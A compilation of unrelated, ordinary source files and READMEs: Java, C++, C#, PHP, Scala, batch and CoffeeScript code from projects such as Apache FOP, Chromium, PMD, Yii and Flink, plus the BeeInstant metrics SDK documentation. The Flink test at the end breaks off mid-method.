public class TableAndCaption extends FObj implements CommonAccessibilityHolder {

    private CommonAccessibility commonAccessibility;

    // The value of properties relevant for fo:table-and-caption.
    // Unused but valid items, commented out for performance:
    //     private CommonAural commonAural;
    //     private CommonBorderPaddingBackground commonBorderPaddingBackground;
    //     private CommonMarginBlock commonMarginBlock;
    //     private CommonRelativePosition commonRelativePosition;
    //     private int breakAfter;
    //     private int breakBefore;
    //     private int captionSide;
    //     private int intrusionDisplace;
    //     private KeepProperty keepTogether;
    //     private KeepProperty keepWithNext;
    //     private KeepProperty keepWithPrevious;
    //     private int textAlign;
    // End of property values

    static boolean notImplementedWarningGiven = false; // CSOK: VisibilityModifier

    /** used for FO validation */
    private boolean tableCaptionFound = false;
    private boolean tableFound = false;

    /**
     * Create a TableAndCaption instance with the given {@link FONode}
     * as parent.
     * @param parent FONode that is the parent of this object
     */
    public TableAndCaption(FONode parent) {
        super(parent);

        if (!notImplementedWarningGiven) {
            getFOValidationEventProducer().unimplementedFeature(this, getName(),
                    "fo:table-and-caption", getLocator());
            notImplementedWarningGiven = true;
        }
    }

    @Override
    public void bind(PropertyList pList) throws FOPException {
        super.bind(pList);
        commonAccessibility = CommonAccessibility.getInstance(pList);
    }

    /**
     * Make sure content model satisfied, if so then tell the
     * FOEventHandler that we are at the end of the flow.
     * {@inheritDoc}
     */
    protected void endOfNode() throws FOPException {
        if (!tableFound) {
            missingChildElementError("marker* table-caption? table");
        }
    }

    /**
     * {@inheritDoc}
     *
XSL Content Model: marker* table-caption? table
     */
    protected void validateChildNode(Locator loc, String nsURI, String localName)
                throws ValidationException {

        if (FO_URI.equals(nsURI)) {
            if (localName.equals("marker")) {
                if (tableCaptionFound) {
                    nodesOutOfOrderError(loc, "fo:marker", "fo:table-caption");
                } else if (tableFound) {
                    nodesOutOfOrderError(loc, "fo:marker", "fo:table");
                }
            } else if (localName.equals("table-caption")) {
                if (tableCaptionFound) {
                    tooManyNodesError(loc, "fo:table-caption");
                } else if (tableFound) {
                    nodesOutOfOrderError(loc, "fo:table-caption", "fo:table");
                } else {
                    tableCaptionFound = true;
                }
            } else if (localName.equals("table")) {
                if (tableFound) {
                    tooManyNodesError(loc, "fo:table");
                } else {
                    tableFound = true;
                }
            } else {
                invalidChildError(loc, nsURI, localName);
            }
        }
    }

    /** {@inheritDoc} */
    public String getLocalName() {
        return "table-and-caption";
    }

    /**
     * {@inheritDoc}
     * @return {@link org.apache.fop.fo.Constants#FO_TABLE_AND_CAPTION}
     */
    public int getNameId() {
        return FO_TABLE_AND_CAPTION;
    }

    /** {@inheritDoc} */
    public CommonAccessibility getCommonAccessibility() {
        return commonAccessibility;
    }

}


text:
std::unique_ptr<MediaRouterContextualMenu> MediaRouterContextualMenu::Create(
    Browser* browser,
    Observer* observer) {
  return std::make_unique<MediaRouterContextualMenu>(
      browser,
      MediaRouterActionController::IsActionShownByPolicy(browser->profile()),
      observer);
}

MediaRouterContextualMenu::MediaRouterContextualMenu(Browser* browser,
                                                     bool shown_by_policy,
                                                     Observer* observer)
    : browser_(browser),
      observer_(observer),
      shown_by_policy_(shown_by_policy) {}

MediaRouterContextualMenu::~MediaRouterContextualMenu() = default;

std::unique_ptr<ui::SimpleMenuModel>
MediaRouterContextualMenu::CreateMenuModel() {
  auto menu_model = std::make_unique<ui::SimpleMenuModel>(this);
  menu_model->AddItemWithStringId(IDC_MEDIA_ROUTER_ABOUT,
                                  IDS_MEDIA_ROUTER_ABOUT);
  menu_model->AddSeparator(ui::NORMAL_SEPARATOR);
  menu_model->AddItemWithStringId(IDC_MEDIA_ROUTER_LEARN_MORE, IDS_LEARN_MORE);
  menu_model->AddItemWithStringId(IDC_MEDIA_ROUTER_HELP, IDS_MEDIA_ROUTER_HELP);
  if (shown_by_policy_) {
    menu_model->AddItemWithStringId(IDC_MEDIA_ROUTER_SHOWN_BY_POLICY,
                                    IDS_MEDIA_ROUTER_SHOWN_BY_POLICY);
    menu_model->SetIcon(
        menu_model->GetIndexOfCommandId(IDC_MEDIA_ROUTER_SHOWN_BY_POLICY)
            .value(),
        ui::ImageModel::FromVectorIcon(vector_icons::kBusinessIcon,
                                       ui::kColorIcon, 16));
  } else {
    menu_model->AddCheckItemWithStringId(
        IDC_MEDIA_ROUTER_ALWAYS_SHOW_TOOLBAR_ACTION,
        IDS_MEDIA_ROUTER_ALWAYS_SHOW_TOOLBAR_ACTION);
  }

  menu_model->AddCheckItemWithStringId(IDC_MEDIA_ROUTER_TOGGLE_MEDIA_REMOTING,
                                       IDS_MEDIA_ROUTER_TOGGLE_MEDIA_REMOTING);
#if BUILDFLAG(GOOGLE_CHROME_BRANDING)
  if (browser_->profile()->GetPrefs()->GetBoolean(
          prefs::kUserFeedbackAllowed)) {
    menu_model->AddSeparator(ui::NORMAL_SEPARATOR);
    menu_model->AddItemWithStringId(
        IDC_MEDIA_TOOLBAR_CONTEXT_REPORT_CAST_ISSUE,
        IDS_MEDIA_TOOLBAR_CONTEXT_REPORT_CAST_ISSUE);
  }
#endif

  return menu_model;
}

bool MediaRouterContextualMenu::GetAlwaysShowActionPref() const {
  return MediaRouterActionController::GetAlwaysShowActionPref(
      browser_->profile());
}

void MediaRouterContextualMenu::SetAlwaysShowActionPref(bool always_show) {
  return MediaRouterActionController::SetAlwaysShowActionPref(
      browser_->profile(), always_show);
}

bool MediaRouterContextualMenu::IsCommandIdChecked(int command_id) const {
  PrefService* pref_service = browser_->profile()->GetPrefs();
  switch (command_id) {
    case IDC_MEDIA_ROUTER_ALWAYS_SHOW_TOOLBAR_ACTION:
      return GetAlwaysShowActionPref();
    case IDC_MEDIA_ROUTER_TOGGLE_MEDIA_REMOTING:
      return pref_service->GetBoolean(
          media_router::prefs::kMediaRouterMediaRemotingEnabled);
    default:
      return false;
  }
}

bool MediaRouterContextualMenu::IsCommandIdEnabled(int command_id) const {
  return command_id != IDC_MEDIA_ROUTER_SHOWN_BY_POLICY;
}

bool MediaRouterContextualMenu::IsCommandIdVisible(int command_id) const {
  return true;
}

void MediaRouterContextualMenu::ExecuteCommand(int command_id,
                                               int event_flags) {
  const char kAboutPageUrl[] =
      "https://www.google.com/chrome/devices/chromecast/";
  const char kCastHelpCenterPageUrl[] =
      "https://support.google.com/chromecast/topic/3447927";
  const char kCastLearnMorePageUrl[] =
      "https://support.google.com/chromecast/answer/2998338";

  switch (command_id) {
    case IDC_MEDIA_ROUTER_ABOUT:
      ShowSingletonTab(browser_, GURL(kAboutPageUrl));
      break;
    case IDC_MEDIA_ROUTER_ALWAYS_SHOW_TOOLBAR_ACTION:
      SetAlwaysShowActionPref(!GetAlwaysShowActionPref());
      break;
    case IDC_MEDIA_ROUTER_HELP:
      ShowSingletonTab(browser_, GURL(kCastHelpCenterPageUrl));
      base::RecordAction(
          base::UserMetricsAction("MediaRouter_Ui_Navigate_Help"));
      break;
    case IDC_MEDIA_ROUTER_LEARN_MORE:
      ShowSingletonTab(browser_, GURL(kCastLearnMorePageUrl));
      break;
#if BUILDFLAG(GOOGLE_CHROME_BRANDING)
    case IDC_MEDIA_TOOLBAR_CONTEXT_REPORT_CAST_ISSUE:
      ReportIssue();
      break;
#endif
    case IDC_MEDIA_ROUTER_TOGGLE_MEDIA_REMOTING:
      ToggleMediaRemoting();
      break;
    default:
      NOTREACHED();
  }
}

void MediaRouterContextualMenu::OnMenuWillShow(ui::SimpleMenuModel* source) {
  observer_->OnContextMenuShown();
}

void MediaRouterContextualMenu::MenuClosed(ui::SimpleMenuModel* source) {
  observer_->OnContextMenuHidden();
}

void MediaRouterContextualMenu::ToggleMediaRemoting() {
  PrefService* pref_service = browser_->profile()->GetPrefs();
  pref_service->SetBoolean(
      media_router::prefs::kMediaRouterMediaRemotingEnabled,
      !pref_service->GetBoolean(
          media_router::prefs::kMediaRouterMediaRemotingEnabled));
}

#if BUILDFLAG(GOOGLE_CHROME_BRANDING)
void MediaRouterContextualMenu::ReportIssue() {
  ShowSingletonTab(
      browser_,
      GURL(base::StrCat({"chrome://", chrome::kChromeUICastFeedbackHost})));
}
#endif


text:
using System;
using System.Collections.Concurrent;
using System.IO;

namespace Lokad.Cqrs.AtomicStorage
{
    public sealed class MemoryDocumentReaderWriter<TKey,TEntity> : IDocumentReader<TKey,TEntity>, IDocumentWriter<TKey,TEntity>
    {
        readonly IDocumentStrategy _strategy;
        readonly ConcurrentDictionary<string, byte[]> _store;

        public MemoryDocumentReaderWriter( IDocumentStrategy strategy, ConcurrentDictionary<string, byte[]> store)
        {
            _store = store;
            _strategy = strategy;
        }

        string GetName(TKey key)
        {
            return _strategy.GetEntityLocation<TEntity>(key);
        }

        public bool TryGet(TKey key, out TEntity entity)
        {
            var name = GetName(key);
            byte[] bytes;
            if(_store.TryGetValue(name, out bytes))
            {
               using (var mem = new MemoryStream(bytes))
               {
                   entity = _strategy.Deserialize<TEntity>(mem);
                   return true;
               }
            }
            entity = default(TEntity);
            return false;
        }

        public TEntity AddOrUpdate(TKey key, Func<TEntity> addFactory, Func<TEntity, TEntity> update, AddOrUpdateHint hint)
        {
            var result = default(TEntity);
            _store.AddOrUpdate(GetName(key), s =>
                {
                    result = addFactory();
                    using (var memory = new MemoryStream())
                    {
                        _strategy.Serialize(result, memory);
                        return memory.ToArray();
                    }
                }, (s2, bytes) =>
                    {
                        TEntity entity;
                        using (var memory = new MemoryStream(bytes))
                        {
                            entity = _strategy.Deserialize<TEntity>(memory);
                        }
                        result = update(entity);
                        using (var memory = new MemoryStream())
                        {
                            _strategy.Serialize(result, memory);
                            return memory.ToArray();
                        }
                    });
            return result;
        }

        public bool TryDelete(TKey key)
        {
            byte[] bytes;
            return _store.TryRemove(GetName(key), out bytes);
        }
    }
}


text:
BeeInstant Java SDK is a powerful tool for software/dev-ops engineers to define and publish custom metrics to BeeInstant. By using clean and simple APIs, engineers can track their software performance with counters, timers, and recorders in real-time.

The SDK provides multi-dimensional metrics that allow engineers to tailor make their very own metrics that suits unique cases. The metrics are aggregated at global levels across hosts, times and dimensions. For example, engineers can easily visualize percentile 99.99% of their API latencies at service level by aggregating metrics published from all of their hosts.

Example: Measure execution time of a critical process.
```
// Initialize the sdk once at the beginning
MetricsManager.init("MyCriticalService");

// Get a metric logger inspired from traditional logger
final Metrics metricsLogger = MetricsManager.getRootMetricsLogger();

// Measure execution time with metric name "ExecutionTime"
try (TimerMetric timer = metricsLogger.startTimer("ExecutionTime")) {
    //
    // Some critical processing is happening here...
    //
}

// Clean up
MetricsManager.shutdown();
Installation
```

## Open BeeInstant Account

Open a BeeInstant account on https://beeinstant.com. After your account is activated, you can log into https://app.beeinstant.com to get endpoint and credentials required by the SDK to publish metrics. Launch your service with JVM options:

```
-Dbeeinstant.endpoint=<endpoint> -Dbeeinstant.publicKey=<public_key> -Dbeeinstant.secretKey=<secret_key>
Add SDK as dependency
```

The SDK is published to Maven Central. You can get it here, or simply add the below dependency to your project.

Maven
```
<dependency>
  <groupId>com.beeinstant</groupId>
  <artifactId>metrics</artifactId>
  <version>1.1.7</version>
</dependency>
```

Gradle
```
dependencies {
    compile 'com.beeinstant:metrics:1.1.7'
}
```

SBT
```
libraryDependencies += "com.beeinstant" % "metrics" % "1.1.7"
```

## Usage by Examples

Let's discover the SDK via an example, monitoring a VideoSharing service.

### Initialization

The first step, we need to initialize the SDK before using it.

MetricsManager.init("VideoSharing");
Later, when your service is shutting down, you can also shutdown the SDK.

MetricsManager.shutdown();
Let say our VideoSharing service provides an Upload API for users to upload their videos. Let's monitor how long it takes to process a video. We call the metric ProcessingTime. We will use TimerMetric to capture it.

Create a metric logger dedicated for Upload API.

final MetricsLogger metricsLogger = MetricsManager.getMetricsLogger("api=Upload");
A metric logger is inspired from traditional loggers for example Log4J. But instead of logging text, a metric logger publishes timing metrics, counters or arbitrary metrics in real-time.

### Measuring time

Let's capture ProcessingTime of Upload API using TimerMetric.
```
void handleVideoUpload() {
    // ...
    try (TimerMetric timer = metricsLogger.startTimer("ProcessingTime")) {
        // ...
        // Read video
        // Compress video
        // Store video
        // ...
    }
    // ...
}
```

ProcessingTime's unit is milliseconds.

### Counting

During video processing, we will encounter some cases when we cannot read, compress or store video for various reasons. How can we know this thing happens in real-time? BeeInstant provides counter to handle this case.

```
void handleVideoUpload() {
    // ...
    try (TimerMetric timer = metricsLogger.startTimer("ProcessingTime")) {

        // Read video
        try {
            // ...
            // Reading video
            // ...
            metricsLogger.incCounter("ReadSuccess", 1);

        } catch (Exception e) {
            metricsLogger.incCounter("ReadFailure", 1);
        }

        // Compress video
        // Store video
        // ...
    }
    // ...
}
```

### Recording

As a VideoSharing service, we are always interested in how big are videos uploaded by users. Size of a video is not timing or counter metric. In this case, BeeInstant provides recorder, a tool to record arbitrary metrics. Let's use a recorder to capture the number of bytes read for each video we process.

```
void handleVideoUpload() {
    // ...
    try (TimerMetric timer = metricsLogger.startTimer("ProcessingTime")) {

        // Read video
        try {
            long numOfReadBytes = 0;
            // Reading ...
            // numOfReadBytes += 100
            // Reading ...
            // numOfReadBytes += 200
            // ...
            metricsLogger.record("ReadBytes", numOfReadBytes, Unit.BYTE);

            metricsLogger.incCounter("ReadSuccess", 1);

        } catch (Exception e) {
            metricsLogger.incCounter("ReadFailure", 1);
        }

        // Compress video
        // Store video
        // ...
    }
    // ...
}
```

### Advanced dimension manipulations

#### Drill down

We have built a pretty good set of metrics around our Upload API. But can we drill down even further? Yes, BeeInstant provides dimension extension feature that allows us to monitor even further details of Upload API. Imagine Upload API can be broken down into three steps read, compress and store videos. Let's monitor down to that level.
```
void handleVideoUpload() {

    // ...
    try (TimerMetric timer = metricsLogger.startTimer("ProcessingTime")) {

        final Metrics readMetrics = metricsLogger.extendDimensions("step=Read");
        try (TimerMetric readTimer = readMetrics.startTimer("Time")) {
            // Reading video here...
        }

        final Metrics compressMetrics = metricsLogger.extendDimensions("step=Compress");
        try (TimerMetric compressTimer = compressMetrics.startTimer("Time")) {
            // Compressing video here...
        }

        final Metrics storeMetrics = metricsLogger.extendDimensions("step=Store");
        try (TimerMetric storeTimer = storeMetrics.startTimer("Time")) {
            // Storing video here...
        }
    }
    // ...
}
```

#### Aggregate up

We are passionate about building high-quality VideoSharing service which will be always available to our customers. And so we are building an AutoTester for our service. This AutoTester will continuously send requests to Upload API and measure its availability. We do this for both testing and prod stacks.

Let say we monitor availabilities of both APIs Upload and Download.

Test Upload API
```
final MetricsLogger uploadMetricsLogger = MetricsManager.getMetricsLogger("api=Upload");
bool success = AutoTester.upload("sample-video");
uploadMetricsLogger.record("Availability", success ? 1 : 0, Unit.NONE);
```

Test Download API
```
final MetricsLogger downloadMetricsLogger = MetricsManager.getMetricsLogger("api=Download");
bool success = AutoTester.download("sample-video");
downloadMetricsLogger.record("Availability", success ? 1 : 0, Unit.NONE);
```

We have availability metric for each API. So what is the global availability of the whole VideoSharing service? BeeInstant provides multiple dimension extension feature to answer this question. Whenever we record availability for Upload API or Download API, we contribute that availability to service level by setting api=ALL. Here is how.

Test Upload API
```
final Metrics metrics = metricsLogger.extendMultipleDimensions("api=Upload", "api=ALL");
bool success = AutoTester.upload("sample-video");
metrics.record("Availability", success ? 1 : 0, Unit.NONE);
```

Test Download API
```
final Metrics metrics = metricsLogger.extendMultipleDimensions("api=Download", "api=ALL");
bool success = AutoTester.download("sample-video");
metrics.record("Availability", success ? 1 : 0, Unit.NONE);
```

Using combinations of timer, counter, recorder and advanced dimension manipulations, in no time, we have access to the most insightful visibilities of our own service. With these metrics, we can build a handy set of dashboards to look into every corner of our service. BeeInstant will also provide an intelligent alarming system (powered by machine learning) with auto-recovery actions for dev-ops engineers in near future.

Head to https://app.beeinstant.com/graph to see all metrics.


text:
<?php

namespace Estrutura\Helpers;

/**
 *
 * @author anonymous
 *
 */
class Serialize {

    /**
     * Unserialize value only if it was serialized.
     *
     * @since 2.0.0
     *
     * @param string $original Maybe unserialized original, if is needed.
     * @return mixed Unserialized data can be any type.
     */
    public static function maybe_unserialize($original) {
        if (self::is_serialized($original)) // don't attempt to unserialize data that wasn't serialized going in
            return @unserialize($original);
        return $original;
    }

    /**
     * Check value to find if it was serialized.
     *
     * If $data is not an string, then returned value will always be false.
     * Serialized data is always a string.
     *
     * @since 2.0.5
     *
     * @param mixed $data Value to check to see if was serialized.
     * @param bool $strict Optional. Whether to be strict about the end of the string. Defaults true.
     * @return bool False if not serialized and true if it was.
     */
    public static function is_serialized($data, $strict = true) {
        // if it isn't a string, it isn't serialized
        if (!is_string($data)) {
            return false;
        }
        $data = trim($data);
        if ('N;' == $data) {
            return true;
        }
        if (strlen($data) < 4) {
            return false;
        }
        if (':' !== $data[1]) {
            return false;
        }
        if ($strict) {
            $lastc = substr($data, -1);
            if (';' !== $lastc && '}' !== $lastc) {
                return false;
            }
        } else {
            $semicolon = strpos($data, ';');
            $brace = strpos($data, '}');
            // Either ; or } must exist.
            if (false === $semicolon && false === $brace)
                return false;
            // But neither must be in the first X characters.
            if (false !== $semicolon && $semicolon < 3)
                return false;
            if (false !== $brace && $brace < 4)
                return false;
        }
        $token = $data[0];
        switch ($token) {
            case 's' :
                if ($strict) {
                    if ('"' !== substr($data, -2, 1)) {
                        return false;
                    }
                } elseif (false === strpos($data, '"')) {
                    return false;
                }
            // or else fall through
            case 'a' :
            case 'O' :
                return (bool) preg_match("/^{$token}:[0-9]+:/s", $data);
            case 'b' :
            case 'i' :
            case 'd' :
                $end = $strict ? '$' : '';
                return (bool) preg_match("/^{$token}:[0-9.E-]+;$end/", $data);
        }
        return false;
    }

    /**
     * Check whether serialized data is of string type.
     *
     * @since 2.0.5
     *
     * @param mixed $data Serialized data
     * @return bool False if not a serialized string, true if it is.
     */
    public static function is_serialized_string($data) {
        // if it isn't a string, it isn't a serialized string
        if (!is_string($data)) {
            return false;
        }
        $data = trim($data);
        if (strlen($data) < 4) {
            return false;
        } elseif (':' !== $data[1]) {
            return false;
        } elseif (';' !== substr($data, -1)) {
            return false;
        } elseif ($data[0] !== 's') {
            return false;
        } elseif ('"' !== substr($data, -2, 1)) {
            return false;
        } else {
            return true;
        }
    }

    /**
     * Serialize data, if needed.
     *
     * @since 2.0.5
     *
     * @param mixed $data Data that might be serialized.
     * @return mixed A scalar data
     */
    public static function maybe_serialize($data) {
        if (is_array($data) || is_object($data))
            return serialize($data);

        // Double serialization is required for backward compatibility.
        // See http://core.trac.wordpress.org/ticket/12930
        if (self::is_serialized($data, false))
            return serialize($data);

        return $data;
    }

}


text:
/**
 * BSD-style license; for more info see http://pmd.sourceforge.net/license.html
 */
/* Generated By:JJTree: Do not edit this line. ASTAttribute.java */

package net.sourceforge.pmd.lang.jsp.ast;

public class ASTAttribute extends AbstractJspNode {
    /* BEGIN CUSTOM CODE */
    private String name;

    /**
     * @return Returns the name.
     */
    public String getName() {
        return name;
    }

    /**
     * @param name The name to set.
     */
    public void setName(String name) {
        this.name = name;
    }

    /**
     * @return boolean - true if the element has a namespace-prefix, false otherwise
     */
    public boolean isHasNamespacePrefix() {
        return name.indexOf(':') >= 0;
    }

    /**
     * @return String - the part of the name that is before the (first) colon (":")
     */
    public String getNamespacePrefix() {
        int colonIndex = name.indexOf(':');
        return colonIndex >= 0
                ? name.substring(0, colonIndex)
                : "";
    }

    /**
     * @return String - The part of the name that is after the first colon (":").
     *         If the name does not contain a colon, the full name is returned.
     */
    public String getLocalName() {
        int colonIndex = name.indexOf(':');
        return colonIndex >= 0
                ? name.substring(colonIndex + 1)
                : name;
    }

/* END CUSTOM CODE */

    public ASTAttribute(int id) {
        super(id);
    }

    public ASTAttribute(JspParser p, int id) {
        super(p, id);
    }

    /**
     * Accept the visitor. *
     */
    public Object jjtAccept(JspParserVisitor visitor, Object data) {
        return visitor.visit(this, data);
    }
}


text:
title: Recurrent Neural Networks
---
## Recurrent Neural Networks

This is a stub. Help our community expand it.

This quick style guide will help ensure your pull request gets accepted.

#### More Information:


text:
<?php

namespace frontend\controllers;

use Yii;
use app\models\PermohonanPerganjuranInstructor;
use frontend\models\PermohonanPerganjuranInstructorSearch;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\filters\VerbFilter;

use app\models\general\GeneralVariable;

/**
 * PermohonanPerganjuranInstructorController implements the CRUD actions for PermohonanPerganjuranInstructor model.
 */
class PermohonanPerganjuranInstructorController extends Controller
{
    public function behaviors()
    {
        return [
            'verbs' => [
                'class' => VerbFilter::className(),
                'actions' => [
                    'delete' => ['post'],
                ],
            ],
        ];
    }

    /**
     * Lists all PermohonanPerganjuranInstructor models.
     * @return mixed
     */
    public function actionIndex()
    {
        if (Yii::$app->user->isGuest) {
            return $this->redirect(array(GeneralVariable::loginPagePath));
        }

        $searchModel = new PermohonanPerganjuranInstructorSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->render('index', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }

    /**
     * Displays a single PermohonanPerganjuranInstructor model.
     * @param integer $id actionJruuhd
     * @return mixed
     */
    public function actionView($id)
    {
        if (Yii::$app->user->isGuest) {
            return $this->redirect(array(GeneralVariable::loginPagePath));
        }

        return $this->renderAjax('view', [
            'model' => $this->findModel($id),
            'readonly' => true,
        ]);
    }

    /**
     * Creates a new PermohonanPerganjuranInstructor model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @return mixed
     */
    public function actionCreate($permohonan_perganjuran_id)
    {
        if (Yii::$app->user->isGuest) {
            return $this->redirect(array(GeneralVariable::loginPagePath));
        }

        $model = new PermohonanPerganjuranInstructor();

        Yii::$app->session->open();

        if($permohonan_perganjuran_id != ''){
            $model->permohonan_perganjuran_id = $permohonan_perganjuran_id;
        } else {
            if(isset(Yii::$app->session->id)){
                $model->session_id = Yii::$app->session->id;
            }
        }

        if ($model->load(Yii::$app->request->post()) && $model->save()) {
            return '1';
        } else {
            return $this->renderAjax('create', [
                'model' => $model,
                'readonly' => false,
            ]);
        }
    }

    /**
     * Updates an existing PermohonanPerganjuranInstructor model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdate($id)
    {
        if (Yii::$app->user->isGuest) {
            return $this->redirect(array(GeneralVariable::loginPagePath));
        }

        $model = $this->findModel($id);

        if ($model->load(Yii::$app->request->post()) && $model->save()) {
            return '1';
        } else {
            return $this->renderAjax('update', [
                'model' => $model,
                'readonly' => false,
            ]);
        }
    }

    /**
     * Deletes an existing PermohonanPerganjuranInstructor model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDelete($id)
    {
        if (Yii::$app->user->isGuest) {
            return $this->redirect(array(GeneralVariable::loginPagePath));
        }

        $this->findModel($id)->delete();

        return $this->redirect(['index']);
    }

    /**
     * Finds the PermohonanPerganjuranInstructor model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return PermohonanPerganjuranInstructor the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = PermohonanPerganjuranInstructor::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
}


text:
@setlocal EnableExtensions EnableDelayedExpansion
@echo off

set current-path=%~dp0
rem // remove trailing slash
set current-path=%current-path:~0,-1%

set repo-build-root=%current-path%\..\..
rem // resolve to fully qualified path
for %%i in ("%repo-build-root%") do set repo-build-root=%%~fi

rem -----------------------------------------------------------------------------
rem -- build (clean) compilembed tool
rem -----------------------------------------------------------------------------

call "%repo-build-root%\c-utility\tools\compilembed\build.cmd" --clean
if not !ERRORLEVEL!==0 exit /b !ERRORLEVEL!

rem -----------------------------------------------------------------------------
rem -- build uAMQP and samples
rem -----------------------------------------------------------------------------

call %repo-build-root%\c-utility\tools\mbed_build_scripts\release_mbed_project.cmd %repo-build-root%\build_all
if not !ERRORLEVEL!==0 exit /b !ERRORLEVEL!

call :compile message_sender_sample %repo-build-root%\samples\message_sender_sample\mbed
if not !ERRORLEVEL!==0 exit /b !ERRORLEVEL!

goto :eof

:compile
setlocal EnableExtensions
set "project_name=%~1"
set "project_path=%~2"
set "download_bin_path=%~3"
set "cmake_project_bin_path=%project_name%_cmake_build"

mkdir %cmake_project_bin_path%
cd %cmake_project_bin_path%
cmake -Dmbed_repo_name:string=%project_name% -Dmbed_output_bin_path:string=%download_bin_path% %project_path%
set CMAKE_ERROR_CODE=!ERRORLEVEL!
cd ..
exit /b %CMAKE_ERROR_CODE%
goto:eof


text:
```coffeescript
dependency = new ReactiveDependency(someValue)
dependency.set(5)
dependency.set("abc")
dependency.get()

# Provide access to a reactive variable in the client.
Template.yourTemplate.helpers({
	dependency: -> return dependency.get()
})

```

### Test
Test using velocity. https://velocity.readme.io/
```bash
velocity test-package jazeee:reactive-dependency ./
```


text:
package org.apache.flink.streaming.api.scala

import java.lang

import org.apache.flink.api.common.functions._
import org.apache.flink.api.java.io.ParallelIteratorInputFormat
import org.apache.flink.api.java.typeutils.TypeExtractor
import org.apache.flink.streaming.api.collector.selector.OutputSelector
import org.apache.flink.streaming.api.functions.{KeyedProcessFunction, ProcessFunction}
import org.apache.flink.streaming.api.functions.co.CoMapFunction
import org.apache.flink.streaming.api.graph.{StreamEdge, StreamGraph}
import org.apache.flink.streaming.api.operators._
import org.apache.flink.streaming.api.windowing.assigners.GlobalWindows
import org.apache.flink.streaming.api.windowing.triggers.{CountTrigger, PurgingTrigger}
import org.apache.flink.streaming.api.windowing.windows.GlobalWindow
import org.apache.flink.streaming.runtime.partitioner._
import org.apache.flink.test.util.AbstractTestBase
import org.apache.flink.util.Collector
import org.junit.Assert._
import org.junit.rules.ExpectedException
import org.junit.{Rule, Test}

class DataStreamTest extends AbstractTestBase {

  private val expectedException = ExpectedException.none()

  @Rule
  def thrownException = expectedException

  @Test
  def testNaming(): Unit = {
    val env = StreamExecutionEnvironment.getExecutionEnvironment

    val source1Operator = env.generateSequence(0, 0).name("testSource1")
    val source1 = source1Operator
    assert("testSource1" == source1Operator.getName)

    val dataStream1 = source1
      .map(x => 0L)
      .name("testMap")
    assert("testMap" == dataStream1.getName)

    val dataStream2 = env.generateSequence(0, 0).name("testSource2")
      .keyBy(x=>x)
      .reduce((x, y) => 0)
      .name("testReduce")
    assert("testReduce" == dataStream2.getName)

    val connected = dataStream1.connect(dataStream2)
      .flatMap({ (in, out: Collector[(Long, Long)]) => }, { (in, out: Collector[(Long, Long)]) => })
      .name("testCoFlatMap")

    assert("testCoFlatMap" == connected.getName)

    val func: (((Long, Long), (Long, Long)) => (Long, Long)) =
      (x: (Long, Long), y: (Long, Long)) => (0L, 0L)

    val windowed = connected
      .windowAll(GlobalWindows.create())
      .trigger(PurgingTrigger.of(CountTrigger.of[GlobalWindow](10)))
      .fold((0L, 0L))(func)

    windowed.name("testWindowFold")

    assert("testWindowFold" == windowed.getName)

    windowed.print()

    val plan = env.getExecutionPlan

    assert(plan contains "testSource1")
    assert(plan contains "testSource2")
    assert(plan contains "testMap")
    assert(plan contains "testReduce")
    assert(plan contains "testCoFlatMap")
    assert(plan contains "testWindowFold")
  }

  /**
   * Tests that [[DataStream.keyBy]] and [[DataStream.partitionCustom]] result in
   * different and correct topologies. Does the some for the [[ConnectedStreams]].
   */
  @Test
  def testPartitioning(): Unit = {
    val env = StreamExecutionEnvironment.getExecutionEnvironment

    val src1: DataStream[(Long, Long)] = env.fromElements((0L, 0L))
    val src2: DataStream[(Long, Long)] = env.fromElements((0L, 0L))

    val connected = src1.connect(src2)

    val group1 = src1.keyBy(0)
    val group2 = src1.keyBy(1, 0)
    val group3 = src1.keyBy("_1")
    val group4 = src1.keyBy(x => x._1)

    val gid1 = createDownStreamId(group1)
    val gid2 = createDownStreamId(group2)
    val gid3 = createDownStreamId(group3)
    val gid4 = createDownStreamId(group4)
    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, gid1)))
    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, gid2)))
    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, gid3)))
    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, gid4)))

    //Testing DataStream partitioning
    val partition1: DataStream[_] = src1.keyBy(0)
    val partition2: DataStream[_] = src1.keyBy(1, 0)
    val partition3: DataStream[_] = src1.keyBy("_1")
    val partition4: DataStream[_] = src1.keyBy((x : (Long, Long)) => x._1)

    val pid1 = createDownStreamId(partition1)
    val pid2 = createDownStreamId(partition2)
    val pid3 = createDownStreamId(partition3)
    val pid4 = createDownStreamId(partition4)

    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, pid1)))
    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, pid2)))
    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, pid3)))
    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, pid4)))

    // Testing DataStream custom partitioning
    val longPartitioner: Partitioner[Long] = new Partitioner[Long] {
      override def partition(key: Long, numPartitions: Int): Int = 0
    }

    val customPartition1: DataStream[_] =
      src1.partitionCustom(longPartitioner, 0)
    val customPartition3: DataStream[_] =
      src1.partitionCustom(longPartitioner, "_1")
    val customPartition4: DataStream[_] =
      src1.partitionCustom(longPartitioner, (x : (Long, Long)) => x._1)

    val cpid1 = createDownStreamId(customPartition1)
    val cpid2 = createDownStreamId(customPartition3)
    val cpid3 = createDownStreamId(customPartition4)
    assert(isCustomPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, cpid1)))
    assert(isCustomPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, cpid2)))
    assert(isCustomPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, cpid3)))

    //Testing ConnectedStreams grouping
